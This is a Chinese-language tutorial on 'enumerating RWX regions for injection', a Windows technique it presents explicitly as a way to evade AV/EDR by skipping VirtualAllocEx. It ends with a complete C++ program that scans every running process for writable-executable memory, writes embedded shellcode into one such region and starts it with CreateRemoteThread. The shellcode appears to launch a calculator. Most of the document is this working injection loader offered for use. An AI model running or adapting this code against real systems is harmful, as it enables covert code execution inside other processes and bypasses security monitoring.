15-枚举RWX区域注入
一、前言
常见的远程线程注入是需要通过 VirtualAllocEx
在远程进程的虚拟地址空间中申请一块PAGE_EXECUTE_READWRITE
的内存区域,然后使用 WriteProcessMemory
将shellcode写入远程的指定内存区域,最后通过 CreateRemoteThread
创建一指向shellcode的远程线程。
但是在我们的计算机上运行大量的进程,这些进程或多或少会有RWX的内存区域,我们可以在系统上暴力破解/枚举当前正在运行的目标进程,搜索它们分配的内存块并检查是否有任何受 RWX 保护的内存块,以便我们可以尝试写入/读取/执行它们。
枚举RWX区域注入
最大的优点是它不需要 VirtualAllocEx
这个敏感的WindowsAPI,在远程线程注入的执行链中缺少了关键一步,这将有助于规避AV/EDR的检测。
二、流程
创建一个系统快照,遍历系统上的所有进程
查询每个进程的内存信息
遍历每个进程中所有分配的内存块
检查是否有任何受RWX保护的内存块并且是私有的、已提交的
如果满足上述条件
打印内存块的地址
将 shellcode 写入该内存块
创建一个指向上述步骤中编写的 shellcode 的远程线程(如果有必要的话可以加上这一步)
用到关键API
CreateToolhelp32Snapshot
:创建一个快照,获取当前系统中的所有进程。官方文档:CreateToolhelp32Snapshot 函数 (tlhelp32.h) - Win32 apps | Microsoft LearnProcess32First
:获取第一个进程。官方文档:Process32First 函数 (tlhelp32.h) - Win32 apps | Microsoft LearnProcess32Next
:获取下一个进程。官方文档:Process32Next 函数 (tlhelp32.h) - Win32 apps | Microsoft LearnOpenProcess
:打开进程。官方文档:OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft LearnVirtualQueryEx
:查询进程的内存信息。官方文档:VirtualQueryEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn
⚠注意:
使用
枚举RWX区域注入
可能会导致被注入进程异常甚至是崩溃,请谨慎使用。尽量选择注入到conhost.exe里面
三、代码实现
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
MEMORY_BASIC_INFORMATION mbi = {}; // 用于存储内存基本信息的结构体
LPVOID offset = 0; // 内存偏移量初始化为 0
HANDLE process = NULL; // 进程句柄初始化为 NULL
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建一个快照,获取当前系统中的所有进程
PROCESSENTRY32 processEntry = {}; // 进程条目结构体,用于存储进程信息
processEntry.dwSize = sizeof(PROCESSENTRY32); // 设置结构体大小
DWORD bytesWritten = 0; // 用于存储写入字节数
unsigned char shellcode[] = { // 定义要注入的 shellcode
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
int count = 0; // 计数器,用于跟踪找到的 RWX 区域数量
// 获取第一个进程
Process32First(snapshot, &processEntry);
// 遍历所有进程
while (Process32Next(snapshot, &processEntry))
{
// 打开进程,获取其句柄
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process) // 如果成功打开进程
{
std::wcout << processEntry.szExeFile << "\n"; // 输出进程的可执行文件名
// 查询进程的内存信息
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
// 更新偏移量到下一个内存区域
offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
// 检查内存区域是否为可读写执行(RWX)
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n"; // 输出 RWX 区域的基地址
// 在第60个 RWX 区域注入 shellcode,你可以自行决定
if (count == 60)
{
// 向目标进程的内存中写入 shellcode
WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
// 在目标进程中创建远程线程,执行 shellcode
CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
}
count++; // 增加计数器
}
}
offset = 0; // 重置偏移量
}
CloseHandle(process); // 关闭进程句柄
}
return 0;
}



Last updated